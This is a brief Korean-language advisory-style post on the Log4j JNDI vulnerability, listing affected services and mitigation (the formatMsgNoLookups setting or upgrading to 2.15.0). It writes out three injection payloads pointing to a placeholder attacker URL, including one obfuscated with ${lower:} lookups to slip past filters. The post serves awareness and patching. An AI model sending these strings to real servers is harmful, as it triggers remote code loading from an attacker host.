https://github.com/YfryTchsGD/Log4jAttackSurface
https://www.lunasec.io/docs/blog/log4j-zero-day/#who-is-impacted

아파치에서 많이 사용하는 로깅툴입니다.

마인크래프트, 구글(google cloud), 아마존(Aws) 등의 서비스에 log4j를 사용하는 경우에는 취약점이 트리거 됩니다.

트리거는 간단합니다.

공격자가 요청에

 - ${jndi:rmi://공격자URL}

 - ${jndi:ldap://공격자URL}

 - ${jndi:${lower:l}${lower:d}a${lower:p}://공격자URL}

과 같이 요청 시 트리거 됩니다.

조치방법은 "log4j2.formatMsgNoLookups"를 "true"로 설정하거나  Log4j 2.15.0(https://logging.apache.org/log4j/2.x/download.html) 업데이트하는 겁니다.